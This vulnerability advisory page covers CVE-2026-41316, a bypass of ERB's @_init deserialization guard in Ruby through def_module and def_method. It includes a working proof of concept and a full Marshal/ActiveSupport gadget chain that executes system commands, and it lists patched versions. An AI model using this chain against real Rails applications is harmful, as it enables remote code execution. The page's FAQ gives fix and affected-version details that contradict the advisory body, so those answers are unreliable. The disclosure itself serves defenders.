CVE-2026-41316: ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

Published Apr 24, 2026
·
Updated

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

- ERB#defmethod - ERB#defmodule - ERB#defclass

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#defmodule (zero-arg, default parameters) as a code execution sink, bypassing the @init protection entirely.

<details>

The @init Guard

In ERB#initialize, the guard is set:

ruby erb.rb line 838 @init = self.class.singletonclass

In ERB#result and ERB#run, the guard is checked before eval(@src):

ruby erb.rb line 1008-1012 def result(b=newtoplevel) unless @init.equal?(self.class.singletonclass) raise ArgumentError, "not initialized" end eval(@src, b, (@filename || '(erb)'), @lineno) end

When an ERB object is reconstructed via Marshal.load, @init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singletonclass cannot be marshaled, the attacker cannot set @init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#defmethod, ERB#defmodule, and ERB#defclass all reach eval(@src) without checking @init:

ruby erb.rb line 1088-1093 def defmethod(mod, methodname, fname='(ERB)') src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.moduleeval do eval(src, binding, fname, -1) # <-- no @init check end end

erb.rb line 1113-1117 def defmodule(methodname='erb') # <-- zero-arg call possible mod = Module.new defmethod(mod, methodname, @filename || '(ERB)') mod end

erb.rb line 1170-1174 def defclass(superklass=Object, methodname='result') # <-- zero-arg call possible cls = Class.new(superklass) defmethod(cls, methodname, @filename || '(ERB)') cls end

defmodule and defclass accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

defmethod wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at moduleeval time:

ruby Attacker sets @src = "end\nsystem('id')\ndef x" After defmethod transformation, moduleeval receives: def erb end system('id') <- executes at eval time def x end

---

Proof of Concept

Minimal (ERB only)

ruby require 'erb'

erb = ERB.allocate erb.instancevariableset(:@src, "end\nsystem('id')\ndef x") erb.instancevariableset(:@lineno, 0)

ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @init -- correct)" end

ERB#defmodule does NOT block this -- executes system('id'): erb.defmodule Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

ruby require 'activesupport' require 'activesupport/deprecation' require 'activesupport/deprecation/proxywrappers' require 'erb'

--- Build payload (replace proxy class for marshaling) --- realclass = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:removeconst, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instancevariableset(k, v) } end end end

erb = ERB.allocate erb.instancevariableset(:@src, "end\nsystem('id')\ndef x") erb.instancevariableset(:@lineno, 0) erb.instancevariableset(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :defmodule, :@var => "@x", :@deprecator => Kernel })

marshaled = Marshal.dump({proxy => 0})

--- Restore real class and trigger --- ActiveSupport::Deprecation.send(:removeconst, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.constset(:DeprecatedInstanceVariableProxy, realclass)

This triggers RCE: Marshal.load(marshaled) Output: uid=0(root) gid=0(root) groups=0(root)

Chain: 1. Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key 2. Hash key insertion calls .hash on the proxy 3. .hash is undefined -> methodmissing(:hash) -> dispatches to ERB#defmodule 4. defmodule -> defmethod -> moduleeval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

</details>

Impact Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

- Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC - Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC - Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB defmethod/defmodule path. The defmodule bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

<details>

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification.load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#revparse | RubyGems 3.6 | | 2026 | ERB#defmodule @init bypass | ERB 6.0.4 |

</details>

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

<details>

Add the @init check to defmethod. Since defmodule and defclass both delegate to defmethod, this single change covers all three bypass paths:

ruby def defmethod(mod, methodname, fname='(ERB)') unless @init.equal?(self.class.singletonclass) raise ArgumentError, "not initialized" end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.moduleeval do eval(src, binding, fname, -1) end end

</details>

-----

Other sources

ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#defmethod, ERB#defmodule, and ERB#defclass. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#defmodule (zero-arg, default parameters) as a code execution sink, bypassing the @init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.

MITRE

Affected Software

6 affected componentsFixes available
rubygems/erb<4.0.3.1, <4.0.4.1, <6.0.1.1, <6.0.4
rubygems/erb>=6.0.2<6.0.4
6.0.4
rubygems/erb>=5.0.0<6.0.1.1
6.0.1.1
rubygems/erb=4.0.4
4.0.4.1
rubygems/erb<4.0.3.1
4.0.3.1
IBM IBM® Db2® on Cloud Pak for Data and Db2 Warehouse on Cloud Pak for Data<=v4.8 v5.0v5.1v5.2v5.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rubygems/erb to a version that resolves this vulnerability.

    Fixed in 6.0.4
  2. Upgrade

    Upgrade rubygems/erb to a version that resolves this vulnerability.

    Fixed in 6.0.1.1
  3. Upgrade

    Upgrade rubygems/erb to a version that resolves this vulnerability.

    Fixed in 4.0.4.1
  4. Upgrade

    Upgrade rubygems/erb to a version that resolves this vulnerability.

    Fixed in 4.0.3.1
  5. Upgrade

    Upgrade erb.gem to a version that resolves this vulnerability.

    Fixed in 4.0.3.1
  6. Upgrade

    Upgrade erb.gem to a version that resolves this vulnerability.

    Fixed in 4.0.4.1
  7. Upgrade

    Upgrade erb.gem to a version that resolves this vulnerability.

    Fixed in 6.0.1.1
  8. Upgrade

    Upgrade erb.gem to a version that resolves this vulnerability.

    Fixed in 6.0.4
  9. Configuration

    Implement an `@_init` guard check in `ERB#def_method` so deserialized ERB objects cannot evaluate `@src` via `def_method`/`def_module`/`def_class` without proper initialization.

    ERB @_init guard = Add the `@_init` check to `def_method`.

Event History

Apr 24, 2026
CVE Published
via MITRE·02:35 AM
Data Sourced
via MITRE·02:35 AM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·03:01 AM
DescriptionSeverityAffected Software
Data Sourced
via NVD·03:16 AM
DescriptionSeverityWeakness
Advisory Published
via GitHub·03:36 PM
Data Sourced
via GitHub·03:36 PM
DescriptionSeverityWeaknessAffected Software
Jun 19, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-41316?

CVE-2026-41316 is categorized as a moderate severity vulnerability due to the potential for unauthorized code execution.

2

How do I fix CVE-2026-41316?

To mitigate CVE-2026-41316, update to ERB version 2.2.0 or later to ensure the deserialization guard is effective.

3

What software is affected by CVE-2026-41316?

CVE-2026-41316 affects versions of ERB prior to 2.2.0, specifically those in Ruby 2.7.0 and earlier.

4

What is the nature of the vulnerability in CVE-2026-41316?

CVE-2026-41316 involves a bypass of the @_init instance variable guard, allowing for the potential execution of arbitrary code.

5

When was CVE-2026-41316 disclosed?

CVE-2026-41316 was disclosed following the publication of ERB 2.2.0 on rubygems.org.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203
CVE-2026-41316 - ERB has an @_init deserialization guard bypass via def_module / def_method / def_class - SecAlerts